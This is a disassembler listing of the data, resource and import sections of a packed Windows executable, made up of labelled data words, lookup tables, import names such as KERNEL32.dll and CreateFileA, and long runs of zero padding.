dword_4DB9D0 dd 0 ; DATA XREF: sub_421DB1+5Cr
; sub_42218C+43r ...
dword_4DB9D4 dd 0 ; DATA XREF: sub_41C9CE+7Ar
; sub_421F58+5r
dword_4DB9D8 dd 0 ; DATA XREF: sub_42255C+29r
dword_4DB9DC dd 2 dup(0) ; DATA XREF: sub_41D160+Co
dword_4DB9E4 dd 0 ; DATA XREF: sub_41D5AA+4r
; sub_41D5AA+6Er ...
dd 3 dup(0)
dword_4DB9F4 dd 0 ; DATA XREF: sub_41D834+61r
; sub_41D834+BFr ...
dd 0
dword_4DB9FC dd 1 ; DATA XREF: sub_422ACA+28r
; sub_422ACA+4Cw ...
dword_4DBA00 dd 0 ; DATA XREF: ___:00422D28r
; ___:00422D34w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
; ___:off_4DB960o
align 10h
dd 3Ah dup(0)
dword_4DBB08 dd 1 ; DATA XREF: ___:004231D2r
; ___:004231F3w ...
dword_4DBB0C dd 0 ; DATA XREF: sub_423590+21r
dword_4DBB10 dd 0 ; DATA XREF: sub_41F32D+154w
; sub_420446:loc_42046Fw ...
dword_4DBB14 dd 0 ; DATA XREF: sub_41F32D+7r
dword_4DBB18 dd 1 ; DATA XREF: sub_423CEC+26r
; sub_423CEC:loc_423D56w
align 10h
word_4DBB20 dw 0 ; DATA XREF: sub_4245E9+1Ao
; sub_4245E9+46r
byte_4DBB22 db 0 ; DATA XREF: sub_4245E9+39r
align 4
dword_4DBB24 dd 7 dup(0) ; DATA XREF: sub_4245E9+52o
dword_4DBB40 dd 0 ; DATA XREF: sub_4245E9+40w
; sub_4245E9+5Co
dword_4DBB44 dd 0 ; DATA XREF: sub_4245E9+4Dw
dword_4DBB48 dd 0 ; DATA XREF: sub_4245E9+31w
dword_4DBB4C dd 0 ; DATA XREF: sub_4245E9+52w
dword_4DBB50 dd 77C26E79h ; DATA XREF: sub_42470C:loc_42472Fr
; sub_42470C+38r ...
align 8
dword_4DBB58 dd 0 ; DATA XREF: sub_4247EC+11w
; sub_4247EC+63w ...
align 10h
dword_4DBB60 dd 0 ; DATA XREF: sub_4247EC+33o
; sub_4247EC+46r
dword_4DBB64 dd 10h dup(0) ; DATA XREF: sub_4247EC+C1o
word_4DBBA4 dw 0 ; DATA XREF: sub_424A4A+A8r
word_4DBBA6 dw 0 ; DATA XREF: sub_4247EC+54r
; sub_424A4A+DBr ...
word_4DBBA8 dw 0 ; DATA XREF: sub_424A4A+CAr
word_4DBBAA dw 0 ; DATA XREF: sub_424A4A+D3r
; sub_424A4A:loc_424B3Cr
word_4DBBAC dw 0 ; DATA XREF: sub_424A4A+C0r
word_4DBBAE dw 0 ; DATA XREF: sub_424A4A+B8r
word_4DBBB0 dw 0 ; DATA XREF: sub_424A4A+B0r
word_4DBBB2 dw 0 ; DATA XREF: sub_424A4A+9Er
dword_4DBBB4 dd 0 ; DATA XREF: sub_4247EC+4Br
dword_4DBBB8 dd 10h dup(0) ; DATA XREF: sub_4247EC+FBo
word_4DBBF8 dw 0 ; DATA XREF: sub_424A4A+46r
word_4DBBFA dw 0 ; DATA XREF: sub_4247EC:loc_424863r
; sub_424A4A+78r ...
word_4DBBFC dw 0 ; DATA XREF: sub_424A4A+67r
word_4DBBFE dw 0 ; DATA XREF: sub_424A4A+70r
; sub_424A4A:loc_424ACEr
word_4DBC00 dw 0 ; DATA XREF: sub_424A4A+5Dr
word_4DBC02 dw 0 ; DATA XREF: sub_424A4A+55r
word_4DBC04 dw 0 ; DATA XREF: sub_424A4A+4Dr
word_4DBC06 dw 0 ; DATA XREF: sub_424A4A+3Er
dword_4DBC08 dd 0 ; DATA XREF: sub_4247EC+80r
dword_4DBC0C dd 0 ; DATA XREF: sub_4247EC+132r
; sub_4247EC:loc_424938r ...
dword_4DBC10 dd 0 ; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4DBC14 dd 0 ; DATA XREF: sub_424D78+3r
; sub_424D78+2Ew ...
dword_4DBC18 dd 0 ; DATA XREF: sub_424D78+43w
; sub_424D78:loc_424DC7r
dword_4DBC1C dd 0 ; DATA XREF: sub_424D78+4Aw
; sub_424D78+60r
dword_4DBC20 dd 0 ; DATA XREF: sub_423A33+3Fr
dword_4DBC24 dd 0 ; DATA XREF: sub_425955:loc_4259BCr
; sub_425955+6Do
dword_4DBC28 dd 0 ; DATA XREF: sub_425955:loc_425993r
; sub_425955+44o
dword_4DBC2C dd 0 ; DATA XREF: sub_425955:loc_425986r
; sub_425955+37o
dword_4DBC30 dd 0 ; DATA XREF: sub_425955:loc_4259A0r
; sub_425955+51o
align 8
dword_4DBC38 dd 0 ; DATA XREF: sub_425F03+28r
; sub_425F03+48w ...
dword_4DBC3C dd 0 ; DATA XREF: sub_426988+28r
; sub_426988+4Cw ...
dword_4DBC40 dd 0 ; DATA XREF: sub_426C13+26r
; sub_426C13:loc_426C7Dw
byte_4DBC44 db 0 ; DATA XREF: sub_40D878r sub_40D878+9w
align 4
dword_4DBC48 dd 25D1140h ; DATA XREF: sub_41DBF0:loc_41DC01r
; sub_41F49D+14r ...
dd 5 dup(0)
dword_4DBC60 dd 400h dup(0) ; DATA XREF: ___:off_43D098o
; ___:0043D0A0o
dword_4DCC60 dd 200h ; DATA XREF: sub_41DBF0+9r
; sub_41DBF0+56r ...
dd 7 dup(0)
dword_4DCC80 dd 25D0650h ; DATA XREF: sub_41F043+75r
; sub_41F11C+2Ar ...
dword_4DCC84 dd 3Fh dup(0) ; DATA XREF: ___:00423394o
dword_4DCD80 dd 20h ; DATA XREF: sub_41DA72+8r
; sub_41F11C+Cr ...
dword_4DCD84 dd 4E4h ; DATA XREF: sub_41FEA9+14r
; sub_41FEA9+65w ...
align 10h
dword_4DCD90 dd 3 dup(0) ; DATA XREF: sub_41FEA9+123o
; sub_41FEA9+171o ...
dword_4DCD9C dd 0 ; DATA XREF: sub_41FEA9+108w
; sub_41FEA9+15Dw ...
byte_4DCDA0 db 0 ; DATA XREF: sub_4200E8:loc_4201F4w
; sub_4200E8:loc_420211w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_4DCEA0 db 0 ; DATA XREF: sub_41FEA9+5Co
; sub_41FEA9+AFo ...
byte_4DCEA1 db 0 ; DATA XREF: sub_41B9D1+5Dr
; sub_41FEA9+A0w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_4DCFA4 dd 0 ; DATA XREF: sub_41FEA9+6Ew
; sub_41FEA9+12Bw ...
dword_4DCFA8 dd 0 ; DATA XREF: sub_41E4D4+5r
; sub_41E4D4+32w
dword_4DCFAC dd 0 ; DATA XREF: sub_41DEA2+23Ar
; sub_41DEA2+25Ar ...
dword_4DCFB0 dd 0 ; DATA XREF: sub_41DEA2+311w
; sub_41E1CB:loc_41E21Br ...
dword_4DCFB4 dd 0 ; DATA XREF: sub_41DEA2+22Dr
; sub_41DEA2+260r ...
dword_4DCFB8 dd 0 ; DATA XREF: sub_41DE77r
; sub_41DEA2+2CBr ...
dword_4DCFBC dd 0 ; DATA XREF: sub_41DE77+8r
; sub_41DEA2+2D0r ...
dword_4DCFC0 dd 0 ; DATA XREF: sub_41B202+5Cr
; sub_41B513+Fr ...
dword_4DCFC4 dd 25D0000h ; DATA XREF: sub_41B0B1+5Ar
; sub_41B202+C0r ...
dword_4DCFC8 dd 1 ; DATA XREF: sub_41B0B1+Cr
; sub_41B202:loc_41B232r ...
dword_4DCFCC dd 142340h ; DATA XREF: ___:00422E81r
; ___:00422FACr
dword_4DCFD0 dd 1 ; DATA XREF: ___:00422F77w sub_425AC7r
dword_4DCFD4 dd 1 ; DATA XREF: sub_42026Dr
; sub_42026D+11w ...
dword_4DCFD8 dd 25D0758h ; DATA XREF: sub_41B7D3+3Er
; sub_41CFD3+13r ...
dword_4DCFDC dd 25D0758h ; DATA XREF: sub_41B7D3+35r
; sub_41B7D3+57r ...
dd 8 dup(0)
dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___ ends
; Section 2. (virtual address 000DE000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 000DE000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_rsrc___ segment para public 'DATA' use32
assume cs:_rsrc___
;org 4DE000h
dd 400h dup(0)
_rsrc___ ends
; Section 3. (virtual address 000DF000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 000DF000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata__ segment para public 'DATA' use32
assume cs:_idata__
;org 4DF000h
dword_4DF000 dd 9F1F58h, 77E75CB5h, 0 ; DATA XREF: .yvs_:005C1074o
dd 77345219h, 4 dup(0)
dd 0DF050h, 0DF000h, 3 dup(0)
dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0 db 'KERNEL32.dll',0
db 2 dup(0), 43h
aReatefilea db 'reateFileA',0
align 4
dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
dd 6C642E32h, 6Ch
aInitcommoncont db 'InitCommonControls',0
db 0
dd 0F9h dup(0)
db 0 ; DATA XREF: Themida_:005520FCo
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
